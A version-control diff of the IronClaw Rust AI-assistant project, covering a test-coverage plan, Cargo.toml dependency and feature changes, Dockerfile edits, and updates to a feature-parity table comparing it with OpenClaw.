|
||||
**Tests to write:**
|
||||
- `test_cli_arg_parsing` -- verify clap argument parsing
|
||||
- `test_startup_config_loading` -- config from env + file
|
||||
- `test_startup_channel_selection` -- select channels from config
|
||||
- `test_startup_feature_flags` -- feature-gated code paths
|
||||
|
||||
---
|
||||
|
||||
## Tier 6 -- Remaining Files to 95% (~2,000 lines)
|
||||
|
||||
Smaller files that each need a handful of additional tests.
|
||||
|
||||
| File | Lines Needed | Test Focus |
|
||||
|------|-------------:|------------|
|
||||
| `src/tools/builtin/skill_tools.rs` | 110 | skill_list, skill_search, skill_install, skill_remove |
|
||||
| `src/hooks/bundled.rs` | 115 | bundled hook execution, hook discovery |
|
||||
| `src/registry/installer.rs` | 272 | package download, verification, installation |
|
||||
| `src/registry/artifacts.rs` | 72 | artifact packaging, checksums |
|
||||
| `src/orchestrator/job_manager.rs` | 249 | container lifecycle, job routing |
|
||||
| `src/orchestrator/api.rs` | 125 | LLM proxy, event dispatch endpoints |
|
||||
| `src/app.rs` | 137 | AppBuilder configuration, startup sequence |
|
||||
| `src/service.rs` | 120 | service lifecycle, signal handling |
|
||||
| `src/config/channels.rs` | 55 | channel config parsing |
|
||||
| `src/config/sandbox.rs` | 61 | sandbox config parsing |
|
||||
| `src/config/tunnel.rs` | 43 | tunnel config parsing |
|
||||
| `src/config/mod.rs` | 63 | config merging, env override |
|
||||
| `src/config/database.rs` | 38 | database URL parsing |
|
||||
| `src/evaluation/success.rs` | 34 | success evaluator logic |
|
||||
| `src/evaluation/metrics.rs` | 40 | metrics collection |
|
||||
| `src/context/manager.rs` | 57 | concurrent job context isolation |
|
||||
| `src/context/memory.rs` | 36 | action recording, conversation memory |
|
||||
|
||||
---
|
||||
|
||||
## Execution Priority
|
||||
|
||||
Maximize coverage gain per unit of effort:
|
||||
|
||||
| Order | Category | Lines Gained | Effort |
|
||||
|------:|----------|-------------:|--------|
|
||||
| 1 | Trace tests (Tier 2) | ~7,000 | Medium (high leverage, each test covers many modules) |
|
||||
| 2 | Unit tests for 0% files (Tier 1 subset) | ~3,500 | Low (pure logic, no infrastructure) |
|
||||
| 3 | Web handler tests (Tier 3) | ~4,500 | Medium (axum_test + in-memory DB) |
|
||||
| 4 | Extension/MCP/WASM unit tests (Tier 1 remainder) | ~3,500 | Medium |
|
||||
| 5 | CLI subcommand tests (Tier 4) | ~2,100 | Low-Medium |
|
||||
| 6 | Setup wizard extraction + tests (Tier 5) | ~2,400 | High (requires refactoring) |
|
||||
| 7 | LLM provider tests (Tier 1 subset) | ~800 | Medium |
|
||||
| 8 | Remaining small files (Tier 6) | ~2,000 | Low |
|
||||
|
||||
## Notes
|
||||
|
||||
- All trace tests require `--features libsql` and use `TestRigBuilder` from `tests/support/`
|
||||
- Web handler tests can use `axum::test` helpers or build the router directly
|
||||
- CLI tests should call handler functions directly, not shell out to the binary
|
||||
- Setup wizard tests require extracting pure logic from interactive prompts first
|
||||
- Sandbox/container tests should verify command construction, not run Docker
|
||||
- Worker tests can use `TraceLlm` for the LLM provider, same as trace tests
|
||||
Generated
+259
-2047
File diff suppressed because it is too large
Load Diff
+12
-84
@@ -1,25 +1,6 @@
|
||||
[workspace]
|
||||
members = ["."]
|
||||
exclude = [
|
||||
"channels-src/discord",
|
||||
"channels-src/telegram",
|
||||
"channels-src/slack",
|
||||
"channels-src/whatsapp",
|
||||
"tools-src/github",
|
||||
"tools-src/gmail",
|
||||
"tools-src/google-calendar",
|
||||
"tools-src/google-docs",
|
||||
"tools-src/google-drive",
|
||||
"tools-src/google-sheets",
|
||||
"tools-src/google-slides",
|
||||
"tools-src/slack",
|
||||
"tools-src/telegram",
|
||||
"fuzz",
|
||||
]
|
||||
|
||||
[package]
|
||||
name = "ironclaw"
|
||||
version = "0.17.0"
|
||||
version = "0.1.3"
|
||||
edition = "2024"
|
||||
rust-version = "1.92"
|
||||
description = "Secure personal AI assistant that protects your data and expands its capabilities on the fly"
|
||||
@@ -41,7 +22,7 @@ tokio-stream = { version = "0.1", features = ["sync"] }
|
||||
futures = "0.3"
|
||||
|
||||
# HTTP client
|
||||
reqwest = { version = "0.12", default-features = false, features = ["json", "multipart", "rustls-tls-native-roots", "stream"] }
|
||||
reqwest = { version = "0.12", default-features = false, features = ["json", "rustls-tls-native-roots", "stream"] }
|
||||
|
||||
# Serialization
|
||||
serde = { version = "1", features = ["derive"] }
|
||||
@@ -52,12 +33,9 @@ deadpool-postgres = { version = "0.14", optional = true }
|
||||
tokio-postgres = { version = "0.7", features = ["with-uuid-1", "with-chrono-0_4", "with-serde_json-1"], optional = true }
|
||||
postgres-types = { version = "0.2", features = ["with-serde_json-1"], optional = true }
|
||||
refinery = { version = "0.8", features = ["tokio-postgres"], optional = true }
|
||||
tokio-postgres-rustls = { version = "0.13", optional = true }
|
||||
rustls = { version = "0.23", optional = true, default-features = false }
|
||||
rustls-native-certs = { version = "0.8", optional = true }
|
||||
|
||||
# Database - libSQL/Turso (optional embedded database)
|
||||
libsql = { version = "0.6", optional = true, default-features = false, features = ["core", "replication", "remote", "tls"] }
|
||||
libsql = { version = "0.6", optional = true, default-features = false, features = ["core", "replication"] }
|
||||
|
||||
# Error handling
|
||||
thiserror = "2"
|
||||
@@ -69,13 +47,10 @@ tracing-subscriber = { version = "0.3", features = ["env-filter", "json"] }
|
||||
|
||||
# Configuration
|
||||
dotenvy = "0.15"
|
||||
toml = "0.8"
|
||||
|
||||
# Core types
|
||||
uuid = { version = "1", features = ["v4", "v5", "serde"] }
|
||||
uuid = { version = "1", features = ["v4", "serde"] }
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
chrono-tz = "0.10"
|
||||
iana-time-zone = "0.1"
|
||||
rust_decimal = { version = "1", features = ["serde", "serde-with-str", "maths"] }
|
||||
rust_decimal_macros = "1"
|
||||
|
||||
@@ -87,13 +62,13 @@ clap = { version = "4", features = ["derive", "env"] }
|
||||
|
||||
# Terminal
|
||||
crossterm = "0.28"
|
||||
rustyline = { version = "17", features = ["custom-bindings", "derive", "with-file-history"] }
|
||||
rustyline = { version = "17", features = ["derive", "with-file-history"] }
|
||||
termimad = "0.34"
|
||||
|
||||
# Channel integrations
|
||||
axum = { version = "0.8", features = ["ws"] }
|
||||
tower = "0.5"
|
||||
tower-http = { version = "0.6", features = ["trace", "cors", "set-header"] }
|
||||
tower-http = { version = "0.6", features = ["trace", "cors"] }
|
||||
|
||||
# Cron scheduling for routines
|
||||
cron = "0.13"
|
||||
@@ -102,16 +77,10 @@ cron = "0.13"
|
||||
regex = "1"
|
||||
aho-corasick = "1"
|
||||
|
||||
# YAML parsing for SKILL.md frontmatter
|
||||
serde_yml = "0.0.12"
|
||||
|
||||
# Filesystem paths
|
||||
dirs = "6"
|
||||
fs4 = "0.6"
|
||||
|
||||
# Semantic versioning
|
||||
semver = "1"
|
||||
|
||||
# Secrecy for sensitive values
|
||||
secrecy = { version = "0.10", features = ["serde"] }
|
||||
|
||||
@@ -134,7 +103,6 @@ wasmparser = "0.220" # WASM binary parsing for validation
|
||||
# Cryptography for secrets management
|
||||
aes-gcm = "0.10"
|
||||
hkdf = "0.12"
|
||||
hmac = "0.12"
|
||||
sha2 = "0.10"
|
||||
blake3 = "1"
|
||||
rand = "0.8"
|
||||
@@ -143,22 +111,9 @@ subtle = "2" # Constant-time comparisons for token validation
|
||||
# Multi-provider LLM support
|
||||
rig-core = "0.30"
|
||||
|
||||
# AWS Bedrock (native Converse API, opt-in via --features bedrock)
|
||||
aws-config = { version = "1", features = ["behavior-version-latest"], optional = true }
|
||||
aws-sdk-bedrockruntime = { version = "1", optional = true }
|
||||
aws-smithy-types = { version = "1", optional = true }
|
||||
|
||||
# Docker sandbox
|
||||
bollard = "0.18"
|
||||
|
||||
# Archive extraction for WASM extension bundles
|
||||
flate2 = "1"
|
||||
tar = "0.4"
|
||||
|
||||
# Document text extraction
|
||||
pdf-extract = "0.7"
|
||||
zip = { version = "2", default-features = false, features = ["deflate"] }
|
||||
|
||||
# HTTP proxy for sandboxed network access
|
||||
hyper = { version = "1.5", features = ["server", "http1", "http2"] }
|
||||
hyper-util = { version = "0.1", features = ["server", "tokio", "http1", "http2"] }
|
||||
@@ -166,17 +121,6 @@ http-body-util = "0.1"
|
||||
bytes = "1"
|
||||
base64 = "0.22.1"
|
||||
mime_guess = "2.0.5"
|
||||
clap_complete = "4.5.0"
|
||||
lru = "0.16.3"
|
||||
|
||||
# HTML to Markdown conversion (feature gated)
|
||||
html-to-markdown-rs = { version = "2.3", optional = true }
|
||||
readabilityrs = { version = "0.1.2", optional = true }
|
||||
ed25519-dalek = { version = "2.2.0", features = ["std"] }
|
||||
hex = "0.4.3"
|
||||
|
||||
# OpenClaw import (feature gated)
|
||||
json5 = { version = "0.4", optional = true }
|
||||
|
||||
# macOS keychain
|
||||
[target.'cfg(target_os = "macos")'.dependencies]
|
||||
@@ -189,21 +133,16 @@ zbus = "4"
|
||||
|
||||
[dev-dependencies]
|
||||
tokio-test = "0.4"
|
||||
tracing-test = "0.2"
|
||||
tokio-tungstenite = "0.26"
|
||||
testcontainers-modules = { version = "0.11", features = ["postgres"] }
|
||||
pretty_assertions = "1"
|
||||
tempfile = "3"
|
||||
insta = "1.46.3"
|
||||
|
||||
[features]
|
||||
default = ["postgres", "libsql", "html-to-markdown"]
|
||||
default = ["postgres", "libsql"]
|
||||
postgres = [
|
||||
"dep:deadpool-postgres",
|
||||
"dep:tokio-postgres",
|
||||
"dep:tokio-postgres-rustls",
|
||||
"dep:rustls",
|
||||
"dep:rustls-native-certs",
|
||||
"dep:postgres-types",
|
||||
"dep:refinery",
|
||||
"dep:pgvector",
|
||||
@@ -211,29 +150,20 @@ postgres = [
|
||||
]
|
||||
libsql = ["dep:libsql"]
|
||||
integration = []
|
||||
html-to-markdown = ["dep:html-to-markdown-rs", "dep:readabilityrs"]
|
||||
bedrock = ["dep:aws-config", "dep:aws-sdk-bedrockruntime", "dep:aws-smithy-types"]
|
||||
import = ["dep:json5", "libsql"]
|
||||
|
||||
[[test]]
|
||||
name = "html_to_markdown"
|
||||
required-features = ["html-to-markdown"]
|
||||
|
||||
[profile.release]
|
||||
strip = true # Remove debug symbols from release binaries
|
||||
[[example]]
|
||||
name = "test_heartbeat"
|
||||
required-features = ["postgres"]
|
||||
|
||||
# The profile that 'cargo dist' will build with
|
||||
[profile.dist]
|
||||
inherits = "release"
|
||||
lto = "fat" # Full cross-crate LTO (slow build, better codegen)
|
||||
codegen-units = 1 # Single codegen unit for maximum optimization
|
||||
lto = "thin"
|
||||
|
||||
# Config for 'dist'
|
||||
[workspace.metadata.dist]
|
||||
# The preferred dist version to use in CI (Cargo.toml SemVer syntax)
|
||||
cargo-dist-version = "0.30.3"
|
||||
# Ignore out-of-date generated CI so custom release.yml jobs are allowed
|
||||
allow-dirty = ["ci"]
|
||||
# CI backends to support
|
||||
ci = "github"
|
||||
# The installers to generate for each app
|
||||
@@ -253,13 +183,11 @@ windows-archive = ".tar.gz"
|
||||
# The archive format to use for non-windows builds (defaults .tar.xz)
|
||||
unix-archive = ".tar.gz"
|
||||
# Which actions to run on pull requests
|
||||
pr-run-mode = "skip"
|
||||
pr-run-mode = "upload"
|
||||
# Path that installers should place binaries in
|
||||
install-path = "CARGO_HOME"
|
||||
# Whether to install an updater program
|
||||
install-updater = true
|
||||
# Cache intermediate build artifacts to speed up the release pipelines
|
||||
cache-builds = true
|
||||
|
||||
[workspace.metadata.dist.github-custom-runners]
|
||||
aarch64-unknown-linux-gnu = "ubuntu-24.04-arm"
|
||||
|
||||
+2
-9
@@ -11,24 +11,17 @@ FROM rust:1.92-slim-bookworm AS builder
|
||||
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||
pkg-config libssl-dev cmake gcc g++ \
|
||||
&& rm -rf /var/lib/apt/lists/* \
|
||||
&& rustup target add wasm32-wasip2 \
|
||||
&& cargo install wasm-tools
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
# Copy manifests first for layer caching
|
||||
COPY Cargo.toml Cargo.lock ./
|
||||
|
||||
# Copy source, build script, tests, and supporting directories
|
||||
COPY build.rs build.rs
|
||||
# Copy source and build artifacts
|
||||
COPY src/ src/
|
||||
COPY tests/ tests/
|
||||
COPY migrations/ migrations/
|
||||
COPY registry/ registry/
|
||||
COPY channels-src/ channels-src/
|
||||
COPY wit/ wit/
|
||||
COPY providers.json providers.json
|
||||
|
||||
RUN cargo build --release --bin ironclaw
|
||||
|
||||
|
||||
@@ -1,57 +0,0 @@
|
||||
# Lightweight test Dockerfile for IronClaw web gateway testing.
|
||||
#
|
||||
# Build:
|
||||
# docker build --platform linux/amd64 -f Dockerfile.test -t ironclaw-test .
|
||||
#
|
||||
# Run (each on a different port):
|
||||
# docker run --rm -p 3003:3003 ironclaw-test
|
||||
# docker run --rm -p 3004:3003 ironclaw-test
|
||||
# docker run --rm -p 3005:3003 ironclaw-test
|
||||
|
||||
# Stage 1: Build (libsql only — no PostgreSQL dependency)
|
||||
FROM rust:1.92-slim-bookworm AS builder
|
||||
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||
pkg-config libssl-dev cmake gcc g++ \
|
||||
&& rm -rf /var/lib/apt/lists/* \
|
||||
&& rustup target add wasm32-wasip2 \
|
||||
&& cargo install wasm-tools
|
||||
|
||||
WORKDIR /app
|
||||
|
||||
COPY Cargo.toml Cargo.lock ./
|
||||
COPY build.rs build.rs
|
||||
COPY src/ src/
|
||||
COPY tests/ tests/
|
||||
COPY migrations/ migrations/
|
||||
COPY registry/ registry/
|
||||
COPY channels-src/ channels-src/
|
||||
COPY wit/ wit/
|
||||
|
||||
RUN cargo build --release --no-default-features --features libsql --bin ironclaw
|
||||
|
||||
# Stage 2: Runtime
|
||||
FROM debian:bookworm-slim
|
||||
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||
ca-certificates libssl3 \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
COPY --from=builder /app/target/release/ironclaw /usr/local/bin/ironclaw
|
||||
|
||||
RUN useradd -m -u 1000 -s /bin/bash ironclaw
|
||||
USER ironclaw
|
||||
WORKDIR /home/ironclaw
|
||||
|
||||
EXPOSE 3003
|
||||
|
||||
ENV RUST_LOG=ironclaw=info \
|
||||
GATEWAY_ENABLED=true \
|
||||
GATEWAY_HOST=0.0.0.0 \
|
||||
GATEWAY_PORT=3003 \
|
||||
GATEWAY_AUTH_TOKEN=test \
|
||||
DATABASE_BACKEND=libsql \
|
||||
LIBSQL_PATH=/home/ironclaw/test.db \
|
||||
SANDBOX_ENABLED=false
|
||||
|
||||
ENTRYPOINT ["ironclaw", "--no-onboard"]
|
||||
+4
-10
@@ -21,15 +21,10 @@ RUN cargo build --release --bin ironclaw
|
||||
|
||||
FROM debian:bookworm-slim
|
||||
|
||||
# Install curl first (needed to fetch the GitHub CLI GPG key), then add the
|
||||
# gh CLI apt repository, then install all remaining dev tools in one layer.
|
||||
RUN apt-get update \
|
||||
&& apt-get install -y --no-install-recommends ca-certificates curl \
|
||||
&& curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg \
|
||||
| dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" \
|
||||
> /etc/apt/sources.list.d/github-cli.list \
|
||||
&& apt-get update && apt-get install -y --no-install-recommends \
|
||||
# Install common development tools
|
||||
RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||
ca-certificates \
|
||||
curl \
|
||||
git \
|
||||
build-essential \
|
||||
pkg-config \
|
||||
@@ -39,7 +34,6 @@ RUN apt-get update \
|
||||
python3 \
|
||||
python3-pip \
|
||||
python3-venv \
|
||||
gh \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Install Rust toolchain for the sandbox user
|
||||
|
||||
+68
-205
@@ -10,8 +10,6 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
- 🚫 Out of scope (intentionally skipped)
|
||||
- ➖ N/A (not applicable to Rust implementation)
|
||||
|
||||
**Last reviewed against OpenClaw PRs:** 2026-03-10 (merged 2026-02-24 through 2026-03-10)
|
||||
|
||||
---
|
||||
|
||||
## 1. Architecture
|
||||
@@ -39,21 +37,14 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
| Session management/routing | ✅ | ✅ | SessionManager exists |
|
||||
| Configuration hot-reload | ✅ | ❌ | |
|
||||
| Network modes (loopback/LAN/remote) | ✅ | 🚧 | HTTP only |
|
||||
| OpenAI-compatible HTTP API | ✅ | ✅ | /v1/chat/completions, per-request `model` override |
|
||||
| OpenAI-compatible HTTP API | ✅ | ✅ | /v1/chat/completions |
|
||||
| Canvas hosting | ✅ | ❌ | Agent-driven UI |
|
||||
| Gateway lock (PID-based) | ✅ | ❌ | |
|
||||
| launchd/systemd integration | ✅ | ❌ | |
|
||||
| Bonjour/mDNS discovery | ✅ | ❌ | |
|
||||
| Tailscale integration | ✅ | ❌ | |
|
||||
| Health check endpoints | ✅ | ✅ | /api/health + /api/gateway/status + /healthz + /readyz, with channel-backed readiness probes |
|
||||
| `doctor` diagnostics | ✅ | 🚧 | 16 checks: settings, LLM, DB, embeddings, routines, gateway, MCP, skills, secrets, service, Docker daemon, tunnel binaries |
|
||||
| Agent event broadcast | ✅ | 🚧 | SSE broadcast manager exists (SseManager) but tool/job-state events not fully wired |
|
||||
| Channel health monitor | ✅ | ❌ | Auto-restart with configurable interval |
|
||||
| Presence system | ✅ | ❌ | Beacons on connect, system presence for agents |
|
||||
| Trusted-proxy auth mode | ✅ | ❌ | Header-based auth for reverse proxies |
|
||||
| APNs push pipeline | ✅ | ❌ | Wake disconnected iOS nodes via push |
|
||||
| Oversized payload guard | ✅ | 🚧 | HTTP webhook has 64KB body limit + Content-Length check; no chat.history cap |
|
||||
| Pre-prompt context diagnostics | ✅ | 🚧 | Token breakdown logged before LLM call (conversational dispatcher path); other LLM entry points not yet covered |
|
||||
| Health check endpoints | ✅ | ✅ | /api/health + /api/gateway/status |
|
||||
| `doctor` diagnostics | ✅ | ❌ | |
|
||||
|
||||
### Owner: _Unassigned_
|
||||
|
||||
@@ -67,82 +58,35 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
| HTTP webhook | ✅ | ✅ | - | axum with secret validation |
|
||||
| REPL (simple) | ✅ | ✅ | - | For testing |
|
||||
| WASM channels | ❌ | ✅ | - | IronClaw innovation |
|
||||
| WhatsApp | ✅ | ❌ | P1 | Baileys (Web), same-phone mode with echo detection |
|
||||
| Telegram | ✅ | ✅ | - | WASM channel(MTProto), DM pairing, caption, /start, bot_username, DM topics |
|
||||
| Discord | ✅ | ❌ | P2 | discord.js, thread parent binding inheritance |
|
||||
| Signal | ✅ | ✅ | P2 | signal-cli daemonPC, SSE listener HTTP/JSON-R, user/group allowlists, DM pairing |
|
||||
| WhatsApp | ✅ | ❌ | P1 | Baileys (Web) |
|
||||
| Telegram | ✅ | ✅ | - | WASM channel(MTProto), DM pairing, caption, /start, bot_username |
|
||||
| Discord | ✅ | ❌ | P2 | discord.js |
|
||||
| Signal | ✅ | ❌ | P2 | signal-cli |
|
||||
| Slack | ✅ | ✅ | - | WASM tool |
|
||||
| iMessage | ✅ | ❌ | P3 | BlueBubbles or Linq recommended |
|
||||
| Linq | ✅ | ❌ | P3 | Real iMessage via API, no Mac required |
|
||||
| Feishu/Lark | ✅ | ❌ | P3 | Bitable create app/field tools, Docx table/image/file actions, rich-text media extraction |
|
||||
| iMessage | ✅ | ❌ | P3 | BlueBubbles recommended |
|
||||
| Feishu/Lark | ✅ | ❌ | P3 | |
|
||||
| LINE | ✅ | ❌ | P3 | |
|
||||
| WebChat | ✅ | ✅ | - | Web gateway chat |
|
||||
| Matrix | ✅ | ❌ | P3 | E2EE support |
|
||||
| Mattermost | ✅ | ❌ | P3 | Emoji reactions, interactive buttons, model picker |
|
||||
| Mattermost | ✅ | ❌ | P3 | |
|
||||
| Google Chat | ✅ | ❌ | P3 | |
|
||||
| MS Teams | ✅ | ❌ | P3 | |
|
||||
| Twitch | ✅ | ❌ | P3 | |
|
||||
| Voice Call | ✅ | ❌ | P3 | Twilio/Telnyx, stale call reaper, pre-cached greeting |
|
||||
| Voice Call | ✅ | ❌ | P3 | Twilio/Telnyx |
|
||||
| Nostr | ✅ | ❌ | P3 | |
|
||||
|
||||
### Telegram-Specific Features (since Feb 2025)
|
||||
|
||||
| Feature | OpenClaw | IronClaw | Notes |
|
||||
|---------|----------|----------|-------|
|
||||
| Forum topic creation | ✅ | ❌ | Create topics in forum groups |
|
||||
| channel_post support | ✅ | ❌ | Bot-to-bot communication |
|
||||
| User message reactions | ✅ | ❌ | Surface inbound reactions |
|
||||
| sendPoll | ✅ | ❌ | Poll creation via agent |
|
||||
| Cron/heartbeat topic targeting | ✅ | ❌ | Messages land in correct topic |
|
||||
| DM topics support | ✅ | ❌ | Agent/topic bindings in DMs and agent-scoped SessionKeys |
|
||||
| Persistent ACP topic binding | ✅ | ❌ | ACP harness sessions can pin to Telegram forum or DM topics |
|
||||
|
||||
### Discord-Specific Features (since Feb 2025)
|
||||
|
||||
| Feature | OpenClaw | IronClaw | Notes |
|
||||
|---------|----------|----------|-------|
|
||||
| Forwarded attachment downloads | ✅ | ❌ | Fetch media from forwarded messages |
|
||||
| Faster reaction state machine | ✅ | ❌ | Watchdog + debounce |
|
||||
| Thread parent binding inheritance | ✅ | ❌ | Threads inherit parent routing |
|
||||
|
||||
### Slack-Specific Features (since Feb 2025)
|
||||
|
||||
| Feature | OpenClaw | IronClaw | Notes |
|
||||
|---------|----------|----------|-------|
|
||||
| Streaming draft replies | ✅ | ❌ | Partial replies via draft message updates |
|
||||
| Configurable stream modes | ✅ | ❌ | Per-channel stream behavior |
|
||||
| Thread ownership | ✅ | ❌ | Thread-level ownership tracking plus reply participation memory |
|
||||
| Download-file action | ✅ | ❌ | On-demand attachment downloads via message actions |
|
||||
|
||||
### Mattermost-Specific Features (since Mar 2026)
|
||||
|
||||
| Feature | OpenClaw | IronClaw | Notes |
|
||||
|---------|----------|----------|-------|
|
||||
| Interactive buttons | ✅ | ❌ | Clickable message buttons with signed callback flow |
|
||||
| Interactive model picker | ✅ | ❌ | In-channel provider/model chooser |
|
||||
|
||||
### Feishu/Lark-Specific Features (since Mar 2026)
|
||||
|
||||
| Feature | OpenClaw | IronClaw | Notes |
|
||||
|---------|----------|----------|-------|
|
||||
| Doc/table actions | ✅ | ❌ | `feishu_doc` supports tables, positional insert, color_text, image upload, and file upload |
|
||||
| Rich-text embedded media extraction | ✅ | ❌ | Pull video/media attachments from post messages |
|
||||
|
||||
### Channel Features
|
||||
|
||||
| Feature | OpenClaw | IronClaw | Notes |
|
||||
|---------|----------|----------|-------|
|
||||
| DM pairing codes | ✅ | ✅ | `ironclaw pairing list/approve`, host APIs |
|
||||
| Allowlist/blocklist | ✅ | 🚧 | `allow_from` + pairing store + hardened command/group allowlists |
|
||||
| Allowlist/blocklist | ✅ | 🚧 | allow_from + pairing store |
|
||||
| Self-message bypass | ✅ | ❌ | Own messages skip pairing |
|
||||
| Mention-based activation | ✅ | ✅ | bot_username + respond_to_all_group_messages |
|
||||
| Per-group tool policies | ✅ | ❌ | Allow/deny specific tools |
|
||||
| Thread isolation | ✅ | ✅ | Separate sessions per thread/topic |
|
||||
| Per-channel media limits | ✅ | 🚧 | Caption support plus `mediaMaxMb` enforcement for WhatsApp, Telegram, and Discord |
|
||||
| Typing indicators | ✅ | 🚧 | TUI + channel typing, with configurable silence timeout; richer parity pending |
|
||||
| Per-channel ackReaction config | ✅ | ❌ | Customizable acknowledgement reactions/scopes |
|
||||
| Group session priming | ✅ | ❌ | Member roster injected for context |
|
||||
| Sender_id in trusted metadata | ✅ | ❌ | Exposed in system metadata |
|
||||
| Thread isolation | ✅ | ✅ | Separate sessions per thread |
|
||||
| Per-channel media limits | ✅ | 🚧 | Caption support for media; no size limits |
|
||||
| Typing indicators | ✅ | 🚧 | TUI shows status |
|
||||
|
||||
### Owner: _Unassigned_
|
||||
|
||||
@@ -157,30 +101,27 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
| `gateway start/stop` | ✅ | ❌ | P2 | |
|
||||
| `onboard` (wizard) | ✅ | ✅ | - | Interactive setup |
|
||||
| `tui` | ✅ | ✅ | - | Ratatui TUI |
|
||||
| `config` | ✅ | ✅ | - | Read/write config plus validate/path helpers |
|
||||
| `backup` | ✅ | ❌ | P3 | Create/verify local backup archives |
|
||||
| `config` | ✅ | ✅ | - | Read/write config |
|
||||
| `channels` | ✅ | ❌ | P2 | Channel management |
|
||||
| `models` | ✅ | 🚧 | - | Model selector in TUI |
|
||||
| `status` | ✅ | ✅ | - | System status (enriched session details) |
|
||||
| `status` | ✅ | ✅ | - | System status |
|
||||
| `agents` | ✅ | ❌ | P3 | Multi-agent management |
|
||||
| `sessions` | ✅ | ❌ | P3 | Session listing (shows subagent models) |
|
||||
| `sessions` | ✅ | ❌ | P3 | Session listing |
|
||||
| `memory` | ✅ | ✅ | - | Memory search CLI |
|
||||
| `skills` | ✅ | ✅ | - | Skills tools + web API endpoints (install, list, activate) |
|
||||
| `pairing` | ✅ | ✅ | - | list/approve, account selector |
|
||||
| `nodes` | ✅ | ❌ | P3 | Device management, remove/clear flows |
|
||||
| `skills` | ✅ | ❌ | P3 | Agent skills |
|
||||
| `pairing` | ✅ | ✅ | - | list/approve for channel DM pairing |
|
||||
| `nodes` | ✅ | ❌ | P3 | Device management |
|
||||
| `plugins` | ✅ | ❌ | P3 | Plugin management |
|
||||
| `hooks` | ✅ | ✅ | P2 | Lifecycle hooks |
|
||||
| `cron` | ✅ | ❌ | P2 | Scheduled jobs (model/thinking fields in edit) |
|
||||
| `hooks` | ✅ | ❌ | P2 | Lifecycle hooks |
|
||||
| `cron` | ✅ | ❌ | P2 | Scheduled jobs |
|
||||
| `webhooks` | ✅ | ❌ | P3 | Webhook config |
|
||||
| `message send` | ✅ | ❌ | P2 | Send to channels |
|
||||
| `browser` | ✅ | ❌ | P3 | Browser automation |
|
||||
| `sandbox` | ✅ | ✅ | - | WASM sandbox |
|
||||
| `doctor` | ✅ | 🚧 | P2 | 16 subsystem checks |
|
||||
| `doctor` | ✅ | ❌ | P2 | Diagnostics |
|
||||
| `logs` | ✅ | ❌ | P3 | Query logs |
|
||||
| `update` | ✅ | ❌ | P3 | Self-update |
|
||||
| `completion` | ✅ | ✅ | - | Shell completion |
|
||||
| `/subagents spawn` | ✅ | ❌ | P3 | Spawn subagents from chat |
|
||||
| `/export-session` | ✅ | ❌ | P3 | Export current session transcript |
|
||||
| `completion` | ✅ | ❌ | P3 | Shell completion |
|
||||
|
||||
### Owner: _Unassigned_
|
||||
|
||||
@@ -197,33 +138,17 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
| Global sessions | ✅ | ❌ | Optional shared context |
|
||||
| Session pruning | ✅ | ❌ | Auto cleanup old sessions |
|
||||
| Context compaction | ✅ | ✅ | Auto summarization |
|
||||
| Compaction model override | ✅ | ❌ | Use a dedicated provider/model for summarization only |
|
||||
| Post-compaction read audit | ✅ | ❌ | Layer 3: workspace rules appended to summaries |
|
||||
| Post-compaction context injection | ✅ | ❌ | Workspace context as system event |
|
||||
| Custom system prompts | ✅ | ✅ | Template variables, safety guardrails |
|
||||
| Skills (modular capabilities) | ✅ | ✅ | Prompt-based skills with trust gating, attenuation, activation criteria, catalog, selector |
|
||||
| Skill routing blocks | ✅ | 🚧 | ActivationCriteria (keywords, patterns, tags) but no "Use when / Don't use when" blocks |
|
||||
| Skill path compaction | ✅ | ❌ | ~ prefix to reduce prompt tokens |
|
||||
| Thinking modes (off/minimal/low/medium/high/xhigh/adaptive) | ✅ | ❌ | Configurable reasoning depth |
|
||||
| Per-model thinkingDefault override | ✅ | ❌ | Override thinking level per model; Anthropic Claude 4.6 defaults to adaptive |
|
||||
| Custom system prompts | ✅ | ✅ | Template variables |
|
||||
| Skills (modular capabilities) | ✅ | ❌ | Capability bundles |
|
||||
| Thinking modes (low/med/high) | ✅ | ❌ | Configurable reasoning depth |
|
||||
| Block-level streaming | ✅ | ❌ | |
|
||||
| Tool-level streaming | ✅ | ❌ | |
|
||||
| Z.AI tool_stream | ✅ | ❌ | Real-time tool call streaming |
|
||||
| Plugin tools | ✅ | ✅ | WASM tools |
|
||||
| Tool policies (allow/deny) | ✅ | ✅ | |
|
||||
| Exec approvals (`/approve`) | ✅ | ✅ | TUI approval overlay |
|
||||
| Elevated mode | ✅ | ❌ | Privileged execution |
|
||||
| Subagent support | ✅ | ✅ | Task framework |
|
||||
| `/subagents spawn` command | ✅ | ❌ | Spawn from chat |
|
||||
| Auth profiles | ✅ | ❌ | Multiple auth strategies |
|
||||
| Generic API key rotation | ✅ | ❌ | Rotate keys across providers |
|
||||
| Stuck loop detection | ✅ | ❌ | Exponential backoff on stuck agent loops |
|
||||
| llms.txt discovery | ✅ | ❌ | Auto-discover site metadata |
|
||||
| Multiple images per tool call | ✅ | ❌ | Single tool call, multiple images |
|
||||
| URL allowlist (web_search/fetch) | ✅ | ❌ | Restrict web tool targets |
|
||||
| suppressToolErrors config | ✅ | ❌ | Hide tool errors from user |
|
||||
| Intent-first tool display | ✅ | ❌ | Details and exec summaries |
|
||||
| Transcript file size in status | ✅ | ❌ | Show size in session status |
|
||||
|
||||
### Owner: _Unassigned_
|
||||
|
||||
@@ -234,18 +159,12 @@ This document tracks feature parity between IronClaw (Rust implementation) and O
|
||||
